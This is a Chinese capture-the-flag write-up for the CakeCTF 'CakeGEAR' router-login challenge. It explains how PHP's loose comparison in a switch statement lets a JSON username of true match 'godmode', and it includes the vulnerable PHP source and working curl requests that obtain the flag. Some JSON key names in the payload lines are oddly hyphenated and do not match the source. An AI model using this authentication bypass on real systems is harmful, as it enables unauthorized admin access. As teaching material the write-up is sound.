知识点:
1. PHP 弱比较(松散比较: loose comparison)
2. switch-case语句的松散比较
Can you crack the login portal of CakeGEAR router?
提供链接和来源。
当您访问它时,它看起来像一个登录页面。
登录-CAKEGEAR

我随机输入但没有发生任何事情,所以我查看了题目提供的源代码。
admin.php 没有什么可疑的地方,而且好像设置了 admin 标志,就可以获得flag。
都是用的强类型比较( ===, !== )。
# admin.php
<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
header("Location: /index.php");
exit;
}
if ($_SESSION['admin'] === true) {
$mode = 'admin';
$flag = file_get_contents("/flag.txt");
} else {
$mode = 'guest';
$flag = "***** Access Denied *****";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>control panel - CAKEGEAR</title>
<style>table, td { margin: auto; border: 1px solid #000; }
</head>
<body style="text-align: center;">
<h1>Router Control Panel</h1>
<table><tbody>
<tr><td><b>Status</b></td><td>UP</td></tr>
<tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
<tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
<tr><td><b>Access Mode</b></td><td><?= $mode ?></td></tr>
<tr><td><b>FLAG</b></td><td><?= $flag ?></td></tr>
</tbody></table>
</body>
</html>
查看index.php,如下。
# index.php
<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');
/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
if ($req->username === 'godmode'
&& !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
/* Debug mode is not allowed from outside the router */
$req->username = 'nobody';
}
switch ($req->username) {
case 'godmode':
/* No password is required in god mode */
$_SESSION['login'] = true;
$_SESSION['admin'] = true;
break;
case 'admin':
/* Secret password is required in admin mode */
if (sha1($req->password) === ADMIN_PASSWORD) {
$_SESSION['login'] = true;
$_SESSION['admin'] = true;
}
break;
case 'guest':
/* Guest mode (low privilege) */
if ($req->password === 'guest') {
$_SESSION['login'] = true;
$_SESSION['admin'] = false;
}
break;
}
/* Return response */
if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
echo json_encode(array('status'=>'success'));
exit;
} else {
echo json_encode(array('status'=>'error'));
exit;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>login - CAKEGEAR</title>
<style>input { margin: 0.5em; }</style>
</head>
<body style="text-align: center;">
<h1>CakeWiFi Login</h1>
<div>
<label>Username</label>
<input type="text" id="username" required>
<br>
<label>Password</label>
<input type="text" id="password" required>
<br>
<button onclick="login()">Login</button>
<p style="color: red;" id="error-msg"></p>
</div>
<script>
function login() {
let error = document.getElementById('error-msg');
let username = document.getElementById('username').value;
let password = document.getElementById('password').value;
let xhr = new XMLHttpRequest();
xhr.addEventListener('load', function() {
let res = JSON.parse(this.response);
if (res.status === 'success') {
window.location.href = "/admin.php";
} else {
error.innerHTML = "Invalid credential";
}
}, false);
xhr.withCredentials = true;
xhr.open('post', '/');
xhr.send(JSON.stringify({ username, password }));
}
</script>
</body>
</html>
题目提供了一个 ADMIN_PASSWORD ,google查询、cmd5均没有查询到对应的明文。除了问题创建者之外,地球人的“ADMIN_PASSWORD”密码是不可能猜到的。另外,发现有一个叫做 “godmode” 的东西,所以我认为目标可能是成为这个用户。
然而,它在本地环境之外变成了“nobody”。
if ($req->username === 'godmode'
&& !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
/* Debug mode is not allowed from outside the router */
$req->username = 'nobody';
}
乍一看,它看起来像 SSRF,但 $_SERVER['REMOTE_ADDR'] 似乎不可修改。换句话说,!in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) 不能设置为 False。
那么,剩下的就是$req->username === 'godmode',这是一个严格的比较,所以很容易让它为False。
switch ($req->username) {
case 'godmode':
/* No password is required in god mode */
$_SESSION['login'] = true;
$_SESSION['admin'] = true;
break;
这里的问题是 switch 语句中的 case 'godmode':。
经查询PHP 的手册,发现 case switch 是松散比较的(loose comparison)。
https://www.php.net/manual/en/control-structures.switch.php
The switch statement is similar to a series of IF statements on the same expression.
Note that switch/case does loose comparison.
switch 语句类似于同一表达式上的一系列 IF 语句。
请注意,开关/案例确实比较松散。
在HackTricks中,找到松散比较的trick:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#bypassing-php-comparisons

松散比较的运行结果如下:
$ php -a
php > echo True == 'godmode';
1
换句话说,您应该将用户名设置为 true。我们可以burp抓包,发现HTTP data部分是json,直接修改即可:
{"user-na-me":"admin","pass-w-o-rd":"admin"}
|
{"use-rna-me":true,"pas-sw-or--d":"admin"}
也可以使用curl:
$ curl -X POST http://web1.2022.cakectf.com:8005/ --data '{"us-er-na-me":true,"pass--wo-rd":""}' -v
~~~
< Set-Cookie: PHPSESSID=6cf678953e16999644a963f88b92cc13; path=/
~~~
{"status":"success"}
# 这里登录成功,返回结果为success。 同时获得了Cookie。
# 再利用该cookie,访问admin.php页面:
$ curl -X POST http://web1.2022.cakectf.com:8005/admin.php -H "Cookie: PHPSESSID=6cf678953e16999644a963f88b92cc13"
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>control panel - CAKEGEAR</title>
<style>table, td { margin: auto; border: 1px solid #000; }
</head>
<body style="text-align: center;">
<h1>Router Control Panel</h1>
<table><tbody>
<tr><td><b>Status</b></td><td>UP</td></tr>
<tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
<tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
<tr><td><b>Access Mode</b></td><td>admin</td></tr>
<tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
</td></tr>
</tbody></table>
</body>
</html>
得到flag。
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}